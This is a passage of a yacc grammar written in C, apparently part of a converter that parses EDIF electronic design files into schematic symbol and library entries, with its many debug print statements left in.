Maintain | _After LogicAssn | _After Comment | _After UserData ; Annotate : ANNOTATE _Annotate PopC {$$=$2; /* if(bug>3)fprintf(Error," ANNOTATE: '%s' %d %d oxy=%d,%d\n",$2->s, $2->p->x, $2->p->y,ox,oy); strncpy(str, $2->s, 20); // fwb New->U.Text.Text = str; New->U.Text.size = TextSize ; //New->U.Text.x = $2->p->x + ox +(New->U.Text.size * (strlen(New->U.Text.Text)+1)/2); New->U.Text.x = $2->p->x + ox; New->U.Text.y = $2->p->y - oy; */ } ; _Annotate : STR {$$=NULL;} | StrDisplay {$$=$1; /* if(bug>3)fprintf(Error," _Annotate StrDisp:'%s' '%s' %d %d \n", cur_pnam, $1->s, $1->p->x, $1->p->y); if(bug>3)fprintf(Error," New TEXT_DRAW_TYPE %s\n", $1->s); New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); strncpy(str, $1->s, 20); // fwb New->U.Text.Text = str; New->DrawType = TEXT_DRAW_TYPE; New->Convert = convert; New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->Unit = 0; New->U.Text.Horiz = 0; */ } ; Apply : APPLY _Apply PopC ; _Apply : Cycle | _Apply LogicIn | _Apply LogicOut | _Apply Comment | _Apply UserData ; Arc : ARC PointValue PointValue PointValue PopC { if(bug>3)fprintf(Error,"New ARC LibraryDrawEntryStruct\n"); New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->Unit = unit; New->Convert = convert; New->DrawType = ARC_DRAW_TYPE; a=$2->x; b= $2->y; c=$3->x; d= $3->y; e=$4->x; f= $4->y; h = ((a*a+b*b)*(f-d)+(c*c+d*d)*(b-f)+(e*e+f*f)*(d-b))/(a*(f-d)+c*(b-f)+e*(d-b))/2; k = ((a*a+b*b)*(e-c)+(c*c+d*d)*(a-e)+(e*e+f*f)*(c-a))/(b*(e-c)+d*(a-e)+f*(c-a))/2; New->U.Arc.x = (int) h ; New->U.Arc.y = (int) k ; New->U.Arc.r = sqrt((a-h)*(a-h) + (b-k)*(b-k)); if(bug>3)fprintf(Error," a=%06f b=%06f c=%06f d=%06f e=%06f f=%06f : h=%06f k=%06f x %d y %d r %d\n", a,b,c,d,e,f,h,k, New->U.Arc.x, New->U.Arc.y, New->U.Arc.r); New->U.Arc.t1 = (int)(atan2(b-k, a-h) * 1800 /M_PI); while( New->U.Arc.t1 < 0 ) New->U.Arc.t1 += 3600; New->U.Arc.t2 = (int)(atan2(f-k, e-h) * 1800 /M_PI); while( New->U.Arc.t2 < 0 ) New->U.Arc.t2 += 3600; New->U.Arc.width = 0; } ; Array : ARRAY NameDef Int _Array PopC {$$=$2;} ; _Array : | Int ; ArrayMacro : ARRAYMACRO Plug PopC ; ArrayRelInfo : ARRAYRELATEDINFO _ArrayRelInfo PopC ; _ArrayRelInfo : BaseArray | ArraySite | ArrayMacro | _ArrayRelInfo Comment | _ArrayRelInfo UserData ; ArraySite : ARRAYSITE Socket PopC ; AtLeast : ATLEAST ScaledInt PopC ; AtMost : ATMOST ScaledInt PopC ; Author : AUTHOR Str PopC ; BaseArray : BASEARRAY PopC ; Becomes : BECOMES _Becomes PopC ; _Becomes : LogicNameRef | LogicList | LogicOneOf ; Between : BETWEEN __Between _Between PopC ; __Between : AtLeast | GreaterThan ; _Between : AtMost | LessThan ; Boolean : BOOLEAN _Boolean PopC {$$=$2;} ; _Boolean : {$$=NULL;} | _Boolean BooleanValue | _Boolean BooleanDisp | _Boolean Boolean ; BooleanDisp : BOOLEANDISPLAY _BooleanDisp PopC ; _BooleanDisp : BooleanValue | _BooleanDisp Display ; BooleanMap : BOOLEANMAP BooleanValue PopC ; BooleanValue : True {$$=1;} | False {$$=0;} ; BorderPat : BORDERPATTERN Int Int Boolean PopC ; BorderWidth : BORDERWIDTH Int PopC ; BoundBox : BOUNDINGBOX Rectangle PopC {$$=$2; if(bug>4)fprintf(Error," BOUNDINGBOX \n"); } ; CellNameDef : NameDef {char part[PART_NAME_LEN]; int i; strncpy(part, $1->s, PART_NAME_LEN); for( i=PART_NAME_LEN-1 ; part[i] == '\0' && i>0 ; i-- ) ; //fprintf(Error,"'%s' %c%c\n", part, part[i-1],part[i]); if( isdigit(part[i-1]) && isalpha(part[i]) && 0){ // mult-part symbol unit = part[i]-'A'+1; part[i] = '\0'; }else unit=1; InCell=1; if(bug>2)fprintf(Error," currlib: %s \n", CurrentLib->Name); if(bug>1)fprintf(Error,"%05d CellNameDef %s %s unit %d\n", LineNumber, $1->s, part, unit ); $1->s = part; // if (strcmp("hdi_primitives", CurrentLib->Name)) { addEdifCell($1->s); // } // see if part already exits LibEntry = CurrentLib->Entries; for( i = CurrentLib->NumOfParts ; i > 0; i-- ) { if( !strcmp(part, LibEntry->Name) ) break; LibEntry = LibEntry->nxt; } if( i != 0 ) { LibEntry->NumOfUnits++; }else{ LibEntry = (LibraryEntryStruct *) Malloc(sizeof(LibraryEntryStruct)); strncpy(LibEntry->Name, $1->s, PART_NAME_LEN); if(strstr(LibEntry->Name,"VCC") || strstr(LibEntry->Name,"GND")) strcpy(LibEntry->Prefix, "#PWR"); else strcpy(LibEntry->Prefix, "U0"); LibEntry->NumOfUnits = 1; LibEntry->Type = ROOT; LibEntry->PrefixPosX = 0; LibEntry->PrefixPosY = 0; LibEntry->PrefixSize = DEFAULT_SIZE_TEXT/scale; LibEntry->NamePosX = 0; LibEntry->NamePosY = 0; LibEntry->NameSize = DEFAULT_SIZE_TEXT/scale; LibEntry->DrawPinNum = 1; LibEntry->DrawPinName = 1; LibEntry->DrawName = 1; LibEntry->DrawPrefix = 1; LibEntry->TextInside = 30; LibEntry->Fields = NULL; LibEntry->Drawings = NULL; LibEntry->nxt = CurrentLib->Entries; CurrentLib->Entries = LibEntry; CurrentLib->NumOfParts++; LibEntry->AliasList = NULL; } } ; Cell : CELL CellNameDef _Cell PopC {$$=$2; if(bug>1)fprintf(Error," CELL: '%s'\n", $2->s); InCell=0; } ; _Cell : CellType | _Cell Status | _Cell ViewMap | _Cell View { if(bug>2)fprintf(Error," _Cell View: '%s' ", $2->s); if($2->nxt != NULL) { if(bug>2)fprintf(Error,"'%s' ", $2->nxt->s); if(strstr($2->nxt->s, "TITLEBLOCK")!=NULL){ LibEntry->DrawName = 0; } if(strstr($2->nxt->s, "PAGEBORDER")!=NULL){ LibEntry->DrawName = 0; } } if(bug>2)fprintf(Error,"\n"); } | _Cell Comment | _Cell UserData | _Cell Property {if(bug>2)fprintf(Error," _Cell Property: '%s'='%s'\n", $2->s, $2->nxt->s);} ; CellNameRef : NameRef { $$->s=$1->s; } ; CellRef : CELLREF CellNameRef _CellRef PopC {$$=$2; cellRef = $2->s; strncpy(fName, $2->s, SCH_NAME_LEN); if(bug>1 )fprintf(Error,"%05d CELLREF: %s ", LineNumber, $2->s); if(bug>1 )fprintf(Error,"\n"); inst_pin_name_vis=1, inst_pin_num_vis=1; } ; LibNameRef : NameRef {if(bug>4)fprintf(Error," LibNameRef: %s\n", $1->s); } ; LibraryRef : LIBRARYREF LibNameRef PopC {$$=$2; libRef = $2->s;} ; _CellRef : {$$=NULL;} | LibraryRef { if(bug>3)fprintf(Error," _CellRef_LibraryRef: '%s' \n", $1->s); } ; CellType : CELLTYPE _CellType PopC ; _CellType : TIE | RIPPER | GENERIC ; Change : CHANGE __Change _Change PopC ; __Change : PortNameRef | PortRef | PortList ; _Change : | Becomes | Transition ; Circle : CIRCLE PointValue PointValue _Circle PopC { $$=(struct plst *)Malloc(sizeof(struct plst)); $$->nxt=NULL; pl=(struct plst *)Malloc(sizeof(struct plst)); $$->x=$2->x; $$->y=$2->y; $$->nxt=pl; pl->x=$3->x; pl->y=$3->y; pl->nxt=NULL; } ; _Circle : | _Circle Property ; Color : COLOR ScaledInt ScaledInt ScaledInt PopC ; Comment : COMMENT Str PopC {$$=$2; if(bug>2)fprintf(Error," Comment: %s\n",$2->s);} ; CommGraph : COMMENTGRAPHICS _CommGraph PopC {$$=$2;} ; _CommGraph : {$$=NULL;} | _CommGraph Annotate { if(bug>4)fprintf(Error," _CommGra Annotate '%s'\n", $2->s); } | _CommGraph Figure | _CommGraph Instance | _CommGraph BoundBox | _CommGraph Property | _CommGraph Comment | _CommGraph UserData ; Compound : COMPOUND LogicNameRef PopC ; Contents : CONTENTS _Contents PopC {$$=$2;} ; _Contents : {$$=NULL;} | _Contents Instance | _Contents OffPageConn | _Contents Figure {$$=$2; if(bug>3)fprintf(Error," _Contents Figure '%s'\n", $2->s ); } | _Contents Section | _Contents Net | _Contents NetBundle | _Contents Page {$$=$2; if(bug>3)fprintf(Error," _Contents Page '%s'\n", $2->s ); } | _Contents CommGraph | _Contents PortImpl | _Contents Timing | _Contents Simulate | _Contents When | _Contents Follow | _Contents LogicPort | _Contents BoundBox | _Contents Comment | _Contents UserData ; ConnectLoc : CONNECTLOCATION _ConnectLoc PopC {$$=$2;} ; _ConnectLoc : {$$=NULL;} | Figure ; CornerType : CORNERTYPE _CornerType PopC ; _CornerType : EXTEND | ROUND | TRUNCATE ; Criticality : CRITICALITY _Criticality PopC ; _Criticality : Int | IntDisplay ; CurrentMap : CURRENTMAP MiNoMaValue PopC ; Curve : CURVE _Curve PopC ; _Curve : | _Curve Arc | _Curve PointValue ; Cycle : CYCLE Int _Cycle PopC ; _Cycle : | Duration ; DataOrigin : DATAORIGIN Str _DataOrigin PopC ; _DataOrigin : | Version ; DcFanInLoad : DCFANINLOAD _DcFanInLoad PopC ; _DcFanInLoad : ScaledInt | NumbDisplay ; DcFanOutLoad : DCFANOUTLOAD _DcFanOutLoad PopC ; _DcFanOutLoad : ScaledInt | NumbDisplay ; DcMaxFanIn : DCMAXFANIN _DcMaxFanIn PopC ; _DcMaxFanIn : ScaledInt | NumbDisplay ; DcMaxFanOut : DCMAXFANOUT _DcMaxFanOut PopC ; _DcMaxFanOut : ScaledInt | NumbDisplay ; Delay : DELAY _Delay PopC ; _Delay : MiNoMaValue | MiNoMaDisp ; Delta : DELTA _Delta PopC ; _Delta : | _Delta PointValue ; Derivation : DERIVATION _Derivation PopC ; _Derivation : CALCULATED | MEASURED | REQUIRED ; DesignNameDef : NameDef {if(bug>2)fprintf(Error,"%5d DesignNameDef: '%s'\n", LineNumber, $1->s); } ; Design : DESIGN DesignNameDef _Design PopC {$$=$2; if(bug>0 && $3 != NULL)fprintf(Error,"Design: '%s' '%s'\n\n", $2->s, $3->s); if(bug>0 && $3 == NULL)fprintf(Error,"Design: '%s' '' \n\n", $2->s); DesignName = CurrentLib; OutPro(Libs); strncpy(fName, $2->s, SCH_NAME_LEN); setEdifName($2->s); updateEdifCIMap(); fprintf(Error, "Parsing .edf file: %s complete.\n", FileEdf); // createEdifInstanceMap("xx"); if(bug>0)fprintf(Error," Set fName '%s'\n", fName); if( nPages > 1 ){ OpenSch(); OutSheets(pgs); CloseSch(); } } ; _Design : CellRef | _Design Status | _Design Comment | _Design Property | _Design UserData ; Designator : DESIGNATOR _Designator PopC {$$=$2;} ; _Designator : Str {$$=$1; if(bug>3)fprintf(Error," _Designator Str '%s'\n",$1->s); } | StrDisplay {$$=$1; if(bug>3)fprintf(Error," _Designator StrDisp:'%s' %d %d\n",$1->s, $1->p->x, $1->p->y); if(bug>3 && $1->nxt)fprintf(Error," ='%s' \n",$1->nxt->s); } ; DesignRule : PHYSICALDESIGNRULE _DesignRule PopC ; _DesignRule : | _DesignRule FigureWidth | _DesignRule FigureArea | _DesignRule RectSize | _DesignRule FigurePerim | _DesignRule OverlapDist | _DesignRule OverhngDist | _DesignRule EncloseDist | _DesignRule InterFigGrp | _DesignRule IntraFigGrp | _DesignRule NotchSpace | _DesignRule NotAllowed | _DesignRule FigGrp | _DesignRule Comment | _DesignRule UserData ; Difference : DIFFERENCE _Difference PopC ; _Difference : FigGrpRef | FigureOp | _Difference FigGrpRef | _Difference FigureOp ; Direction : DIRECTION _Direction PopC {$$=$2;} ; _Direction : INOUT {$$=PIN_BIDI;} | INPUT {$$=PIN_INPUT;} | OUTPUT {$$=PIN_OUTPUT;} ; Display : DISPLAY _Display _DisplayJust _DisplayOrien _DisplayOrg PopC {$$ = (struct st *)Malloc(sizeof(struct st)); $$->s=$2->s; $$->p=$5; $$->nxt = $2; if(bug>2 )fprintf(Error,"%5d DISPLAY: '%s' ", LineNumber, $2->s); if(bug>2 && $2->nxt != NULL)fprintf(Error,"nxt %s ", $2->nxt->s); if(bug>2 && $3 != NULL )fprintf(Error,"$3 %s ", $3->s); if(bug>2 && $4 != 0 )fprintf(Error,"$4 %c ", $4); if(bug>2 && $5 != NULL )fprintf(Error,"$5 %d %d", $5->x, $5->y); if(bug>2 )fprintf(Error,"\n"); if($4!=0 && New!=NULL){ cur_Orient = $4; // find Pin to add Orient for( LDptr=New ; LDptr != NULL ; LDptr=LDptr->nxt ) { if(bug>6)fprintf(Error," Check '%s' '%s' %s\n", $$->s, LDptr->U.Pin.Name, LDptr->U.Pin.ReName); if( LDptr->DrawType != PIN_DRAW_TYPE) continue; if( !strcmp(LDptr->U.Pin.Name, $$->s) ) break; } if( LDptr != NULL ){ if(bug>2)fprintf(Error," Display Found %s Orient %c\n", LDptr->U.Pin.Name, $4); LDptr->U.Pin.Orient = $4; } } } ; FigGrpNameRef : NameRef { for( pfg=pfgHead ; pfg != NULL ; pfg=pfg->nxt ) if( !strcmp($1->s, pfg->Name) ) break; if( pfg != NULL ) TextSize = pfg->TextHeight ; } ; _Display : FigGrpNameRef { if(bug>3)fprintf(Error,"%5d FigGrpNameRef:'%s'\n", LineNumber, $1->s); } | FigGrpOver { if(bug>3)fprintf(Error,"%5d FigGrpOver: '%s'\n", LineNumber, $1->s); } ; _DisplayJust : {$$=NULL; if(bug>5)fprintf(Error,"%5d _DisplayJust: NULL\n", LineNumber); } | Justify { if(bug>5)fprintf(Error,"%5d _DisplayJust: %s\n", LineNumber, $1->s); } ; _DisplayOrien : {$$=0; if(bug>5)fprintf(Error,"%5d _DisplayOrient: NULL\n", LineNumber); } | Orientation { if(bug>5)fprintf(Error,"%5d _DisplayOrient: %c\n", LineNumber, $1); } ; _DisplayOrg : {$$=NULL; if(bug>5)fprintf(Error,"%5d _DisplayOrg: NULL\n", LineNumber); } | Origin { if(bug>5)fprintf(Error,"%5d _DisplayOrg: %d %d \n", LineNumber, $1->x, $1->y); } ; Dominates : DOMINATES _Dominates PopC ; _Dominates : | _Dominates LogicNameRef ; Dot : DOT _Dot PopC {$$=$2; if(bug>4)fprintf(Error," Dot: %d %d\n", $2->x, $2->y);} ; _Dot : PointValue | _Dot Property ; Duration : DURATION ScaledInt PopC ; EncloseDist : ENCLOSUREDISTANCE RuleNameDef FigGrpObj FigGrpObj _EncloseDist PopC ; _EncloseDist : Range | SingleValSet | _EncloseDist Comment | _EncloseDist UserData ; EndType : ENDTYPE _EndType PopC ; _EndType : EXTEND | ROUND | TRUNCATE ; Entry : ENTRY ___Entry __Entry _Entry PopC ; ___Entry : Match | Change | Steady ; __Entry : LogicRef | PortRef | NoChange | Table ; _Entry : | Delay | LoadDelay ; Event : EVENT _Event PopC ; _Event : PortRef | PortList | PortGroup | NetRef | NetGroup | _Event Transition | _Event Becomes ; Exactly : EXACTLY ScaledInt PopC ; External : EXTERNAL LibNameDef EdifLevel _External PopC ; _External : Technology | _External Status | _External Cell | _External Comment | _External UserData ; Fabricate : FABRICATE LayerNameDef FigGrpNameRef PopC ; False : FALSE PopC {$$=0;} ; FigGrpNameDef : NameDef ; FigGrp : FIGUREGROUP _FigGrp PopC {$$=$2;} ; _FigGrp : FigGrpNameDef {$$->p=NULL; if(bug>5)fprintf(Error,"%5d _FigGrp: FigGrpNameDef cur_fg:%s\n", LineNumber, $1->s); strncpy(cur_fg, $1->s, 20); for( pfg=pfgHead ; pfg != NULL ; pfg=pfg->nxt ) if( !strcmp($1->s, pfg->Name) ) break; if( pfg == NULL ){ pfg = (struct FigGrpStruct *) Malloc(sizeof(struct FigGrpStruct)); strncpy(pfg->Name, $1->s, 20); pfg->nxt = pfgHead; pfgHead = pfg; } } | _FigGrp CornerType | _FigGrp EndType | _FigGrp PathWidth {$$->n=$2; if(bug>5)fprintf(Error,"%5d _FigGrp: PathWidth %d\n", LineNumber, $2); pfg->PathWidth = $2; } | _FigGrp BorderWidth | _FigGrp Color | _FigGrp FillPattern | _FigGrp BorderPat | _FigGrp TextHeight {$$->n=$2; if(bug>5)fprintf(Error,"%5d _FigGrp: TextHeight %d\n", LineNumber, $2); pfg->TextHeight = $2; } | _FigGrp Visible {$$->n=$2; if(bug>5)fprintf(Error,"%5d _FigGrp: Visible %d\n", LineNumber, $2); } | _FigGrp Comment { if(bug>5)fprintf(Error,"%5d _FigGrp: Comment \n", LineNumber); } | _FigGrp Property { if(bug>5)fprintf(Error,"%5d _FigGrp: Property %s\n", LineNumber, $2->s); } | _FigGrp UserData | _FigGrp IncFigGrp ; FigGrpObj : FIGUREGROUPOBJECT _FigGrpObj PopC ; _FigGrpObj : FigGrpNameRef | FigGrpRef | FigureOp ; FigGrpOver : FIGUREGROUPOVERRIDE _FigGrpOver PopC {$$=$2;} ; _FigGrpOver : FigGrpNameRef {$$->p=NULL; if(bug>5)fprintf(Error,"%5d _FigGrpOver: FigGrpNameRef %s\n", LineNumber, $1->s); } | _FigGrpOver CornerType | _FigGrpOver EndType | _FigGrpOver PathWidth | _FigGrpOver BorderWidth | _FigGrpOver Color | _FigGrpOver FillPattern | _FigGrpOver BorderPat | _FigGrpOver TextHeight {$$->n=$2; if(bug>5)fprintf(Error,"%5d _FigGrpOver: TextHeight %d\n", LineNumber, $2); } | _FigGrpOver Visible {$$->n=$2; if(bug>5)fprintf(Error,"%5d _FigGrpOver: Visible=%d\n", LineNumber, $2); } | _FigGrpOver Comment {if(bug>5)fprintf(Error,"%5d _FigGrpOver: Comment \n", LineNumber); } | _FigGrpOver Property {if(bug>5)fprintf(Error,"%5d _FigGrpOver: Property '%s'='%s'\n", LineNumber, $2->s, "nxt"); } | _FigGrpOver UserData ; FigGrpRef : FIGUREGROUPREF FigGrpNameRef _FigGrpRef PopC ; _FigGrpRef : | LibraryRef ; Figure : FIGURE _Figure PopC {$$=$2;} ; _Figure : FigGrpNameDef {$$->p=NULL; if(bug>4)fprintf(Error,"%5d _Figure: FigGrpNameDef %s\n", LineNumber, $1->s); } | FigGrpOver {$$->p=NULL; } | _Figure Circle { if(bug>4)fprintf(Error," New CIRCLE LibraryDrawEntryStruct\n"); New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->Unit = unit; New->Convert =convert; New->DrawType = CIRCLE_DRAW_TYPE; New->U.Circ.x = (($2->x+$2->nxt->x)/2); New->U.Circ.y = (($2->y+$2->nxt->y)/2); a=$2->x - $2->nxt->x; b=$2->y - $2->nxt->y; New->U.Circ.r = (int) sqrt((a*a)+(b*b)); New->U.Circ.width = 0; } | _Figure Dot {$$->p = $2; if(bug>4)fprintf(Error,"New CIRCLE LibraryDrawEntryStruct (%d,%d)\n",$2->x, $2->y); #ifdef LATER New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->Unit = unit; New->Convert =convert; New->DrawType = CIRCLE_DRAW_TYPE; New->U.Circ.x = $2->x ; New->U.Circ.y = $2->y ; New->U.Circ.r = 5; New->U.Circ.width = 0; #endif } | _Figure OpenShape | _Figure Path {$$->p = $2; if(bug>4 && $2!=NULL)fprintf(Error," _Figure Path LibraryDrawEntryStruct %d %d %d %d\n", $2->x, $2->y, $2->nxt->x, $2->nxt->y); if(bug>4 && $2==NULL)fprintf(Error," _Figure Path LibraryDrawEntryStruct '' '' '' ''\n"); if(bug>4)fprintf(Error,"New POLYLINE LibraryDrawEntryStruct\n"); New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->Unit = unit; New->Convert = convert; New->U.Poly.width = 0; New->DrawType = POLYLINE_DRAW_TYPE; for( pl = $2; pl != NULL ; pl=pl->nxt ) New->U.Poly.n++; Poly = New->U.Poly.PolyList = (int*) Malloc( 2*New->U.Poly.n * sizeof(int) ); for( ; $2 != NULL ; $2=$2->nxt ){ *Poly++ = (int)( $2->x ); *Poly++ = (int)( $2->y ); } } | _Figure Polygon { if(bug>4)fprintf(Error,"New POLYLINE LibraryDrawEntryStruct\n"); New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->Unit = unit; New->Convert = convert; New->U.Poly.width = 0; New->DrawType = POLYLINE_DRAW_TYPE; for( pl = $2; pl != NULL ; pl=pl->nxt ) New->U.Poly.n++; Poly = New->U.Poly.PolyList = (int*) Malloc( 2*New->U.Poly.n * sizeof(int) ); for( ; $2 != NULL ; $2=$2->nxt ){ *Poly++ = (int)( $2->x ); *Poly++ = (int)( $2->y ); } } | _Figure Rectangle { $$->p=$2; if(bug>4)fprintf(Error,"New SQUARE LibraryDrawEntryStruct\n"); New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->Unit = unit; New->Convert = convert; New->DrawType = SQUARE_DRAW_TYPE; New->U.Sqr.width = 0; New->U.Sqr.x1 = $2->x; New->U.Sqr.y1 = $2->y; New->U.Sqr.x2 = $2->nxt->x; New->U.Sqr.y2 = $2->nxt->y; if(bug>4)fprintf(Error," _Fig Rect %d %d %d %d\n", New->U.Sqr.x1, New->U.Sqr.y1, New->U.Sqr.x2, New->U.Sqr.y2); } | _Figure Shape | _Figure Comment { if(bug>2)fprintf(Error,"_Figure Comment - New TEXT_DRAW '%s'\n", $2->s); if(bug>2)fprintf(Error," New Comment TEXT_DRAW_TYPE '%s'\n", $2->s); New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); strncpy(str, $2->s, 20); // fwb New->U.Text.Text = str; New->DrawType = TEXT_DRAW_TYPE; New->Convert = convert; New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->U.Text.Horiz = 0; New->U.Text.size = TextSize; New->U.Text.type = 0; } | _Figure UserData ; FigureArea : FIGUREAREA RuleNameDef FigGrpObj _FigureArea PopC ; _FigureArea : Range | SingleValSet | _FigureArea Comment | _FigureArea UserData ; FigureOp : Intersection | Union | Difference | Inverse | Oversize ; FigurePerim : FIGUREPERIMETER RuleNameDef FigGrpObj _FigurePerim PopC ; _FigurePerim : Range | SingleValSet | _FigurePerim Comment | _FigurePerim UserData ; FigureWidth : FIGUREWIDTH RuleNameDef FigGrpObj _FigureWidth PopC ; _FigureWidth : Range | SingleValSet | _FigureWidth Comment | _FigureWidth UserData ; FillPattern : FILLPATTERN Int Int Boolean PopC ; Follow : FOLLOW __Follow _Follow PopC ; __Follow : PortNameRef | PortRef ; _Follow : PortRef | Table | _Follow Delay | _Follow LoadDelay ; Forbidden : FORBIDDENEVENT _Forbidden PopC ; _Forbidden : TimeIntval | _Forbidden Event ; Form : Keyword _Form ')' ; _Form : | _Form Int | _Form Str | _Form Ident | _Form Form ; GlobPortRef : GLOBALPORTREF PortNameRef PopC ; GreaterThan : GREATERTHAN ScaledInt PopC ; GridMap : GRIDMAP ScaledInt ScaledInt PopC ; Ignore : IGNORE PopC ; IncFigGrp : INCLUDEFIGUREGROUP _IncFigGrp PopC ; _IncFigGrp : FigGrpRef | FigureOp ; Initial : INITIAL PopC ; InstNameDef : NameDef { if(bug>3)fprintf(Error,"%5d InstNameDef: '%s'\n", LineNumber, $1->s); tx=ty=0; ox=oy=0; inst_pin_name_vis=1, inst_pin_num_vis=1; Foot[0] = 0; MfgName[0] = 0; MfgPart[0] = 0; InInstance =1; } | Array ; Instance : INSTANCE InstNameDef _Instance PopC { int fcr; char part[PART_NAME_LEN]; int i; addEdifInstance($2->s, cellRef); // check for multi-part symbol strncpy(part, cellRef, PART_NAME_LEN); for( i=PART_NAME_LEN ; part[i] == '\0' && i>0 ; i-- ); //fprintf(Error,"'%s' %c%c\n", part, part[i-1],part[i]); if( isdigit(part[i-1]) && isalpha(part[i]) ){ // mult-part symbol unit = part[i]-'A'+1; part[i] = '\0'; }else unit=1; $$=$2; ox=oy=0; if(bug>1){ fprintf(Error," INSTANCE %s %d cellRef '%s' ", part, unit, cellRef); if(ref->s) fprintf(Error,"ref '%s' ", ref->s); if(val->s) fprintf(Error,"val '%s' ", val->s); fprintf(Error,"\n"); } for( stp=pwrSym ; stp !=NULL ; stp=stp->nxt) { if( !strcmp(cellRef, stp->s)){ if(bug>2)fprintf(Error," Check Power '%s' '%s' '%s'\n", cellRef, stp->s, stp->r); break; } } if( (val->s == NULL) && (strstr(cellRef, "JUNCTION")!=NULL || strstr($2->s, "TIE")!=NULL) ){ if(bug>3)fprintf(Error," OutConn '%s' %d %d \n", $2->s, tx, ty); OutConn( tx, -ty); } else { // Is cellRef a Power Symbol, find HOTSPOT ox=0; oy=0; for( fcr=0, LSptr=Libs ; LSptr != NULL ; LSptr=LSptr->nxt ) { if(fcr) break; for( LEptr=LSptr->Entries ; LEptr != NULL && stp!=NULL ; LEptr=LEptr->nxt ) { if( cellRef != NULL ) { fcr = (strcmp(LEptr->Name, cellRef) == 0); if(fcr) { ox=LEptr->PrefixPosX ; oy=LEptr->PrefixPosY ; if(bug>3)fprintf(Error," HOTSPOT for %s oxy:%d %d\n", LEptr->Name, ox, oy); break; } } } } if( stp == NULL ){ // not power Symbol if( ref->s ){ // normal symbol OutInst(part, ref->s, val->s, Foot, MfgName, MfgPart, TextSize, tx, -ty, ox+ref->p->x, -oy-ref->p->y, ox+val->p->x, -oy-val->p->y, 0, 0, unit, IRot); } else { sprintf(refdesg,"#ND%d", nPwr++); OutInst(part, refdesg, nll, nll, MfgName, MfgPart, TextSize, tx, -ty, tx, -ty, tx, -ty, 0, 0, unit, IRot); } }else{ // power symbol sprintf(refdesg,"#PWR%d", nPwr++); ox=oy=0; OutInst(part, refdesg, cur_pnam, nll, MfgName, MfgPart, TextSize, tx+ox, -ty-oy, tx, -ty, tx, -ty, 0, 1, unit, IRot); val->s=0; cur_pnam = NULL; } ref->s=NULL; ref->p = &zplst; val->s=NULL; val->p = &zplst; New = NULL; InInstance = 0; } } ; _Instance : ViewRef | ViewList | _Instance Transform { // see ^Transform tx=$2->p->x; ty=$2->p->y; if( $2->n != PIN_N ){ IRot[0][0] = Rot[0][0]; IRot[0][1] = Rot[0][1]; IRot[1][0] = Rot[1][0]; IRot[1][1] = Rot[1][1]; }else{ IRot[0][0] = 1; IRot[0][1] = IRot[1][0] = 0; IRot[1][1] = -1; /* Transform NORMAL */ } } | _Instance ParamAssign | _Instance PortInst | _Instance Timing | _Instance Designator {// ref->s = $2->s; ref->p = &zplst; if(bug>1)fprintf(Error," _Instance Designator '%s'\n",$2->s); } | _Instance Property {if(bug>3)fprintf(Error," _Instance Property: '%s'='%s'\n", $2->s, $2->nxt->s); if( !strcmp($2->s, "PIN_NAMES_VISIBLE" )) inst_pin_name_vis= !strcmp($2->nxt->s,"False"); if( !strcmp($2->s, "PIN_NUMBERS_VISIBLE")) inst_pin_num_vis= !strcmp($2->nxt->s,"False"); if( !strcmp($2->s, "PCB_FOOTPRINT") || !strcmp($2->s, "PCB_32_FOOTPRINT") ) strncpy(Foot, $2->nxt->s, FOOT_NAME_LEN); if( !strcmp($2->s, "VALUE") ) { val->s= $2->nxt->s; //if(bug>1)fprintf(Error,"VALUE %s\n",val->s); } if( !strcmp($2->s, "MFG") ) strncpy(MfgName, $2->nxt->s, MFG_NAME_LEN); if( !strcmp($2->s, "MFG_32_PART_35_") ) strncpy(MfgPart, $2->nxt->s, MFG_PART_LEN); } | _Instance Comment | _Instance UserData ; InstNameRef : NameRef {if(bug>3)fprintf(Error," InstNameRef: %s\n", $1->s);} | Member ; InstanceRef : INSTANCEREF InstNameRef _InstanceRef PopC {$$=$2; New = NULL; } ; _InstanceRef : {$$=NULL;} | InstanceRef | ViewRef ; InstBackAn : INSTANCEBACKANNOTATE _InstBackAn PopC ; _InstBackAn : InstanceRef | _InstBackAn Designator | _InstBackAn Timing | _InstBackAn Property | _InstBackAn Comment ; InstGroup : INSTANCEGROUP _InstGroup PopC ; _InstGroup : | _InstGroup InstanceRef ; InstMap : INSTANCEMAP _InstMap PopC ; _InstMap : | _InstMap InstanceRef | _InstMap InstGroup | _InstMap Comment | _InstMap UserData ; IntDisplay : INTEGERDISPLAY _IntDisplay PopC ; _IntDisplay : Int | _IntDisplay Display ; Integer : INTEGER _Integer PopC {$$=$2;} ; _Integer : {$$=0;} | _Integer Int | _Integer IntDisplay | _Integer Integer ; Interface : INTERFACE _Interface PopC {$$=$2;} ; _Interface : {$$=NULL;} | _Interface Port {$$=$2; if(bug>4)fprintf(Error," _Interface Port '%s'\n", $2->s);} | _Interface PortBundle | _Interface Symbol {$$=$2; if(bug>4)fprintf(Error," _Interface Symb '%s'\n", $2->s);} | _Interface ProtectFrame | _Interface ArrayRelInfo | _Interface Parameter | _Interface Joined | _Interface MustJoin | _Interface WeakJoined | _Interface Permutable | _Interface Timing | _Interface Simulate | _Interface Designator {$$=$2; if(bug>4)fprintf(Error," _Interface Desig '%s'\n", $2->s); strcpy(LibEntry->Prefix, $2->s); } | _Interface Property | _Interface Comment | _Interface UserData ; InterFigGrp : INTERFIGUREGROUPSPACING RuleNameDef FigGrpObj FigGrpObj _InterFigGrp PopC ; _InterFigGrp : Range | SingleValSet | _InterFigGrp Comment | _InterFigGrp 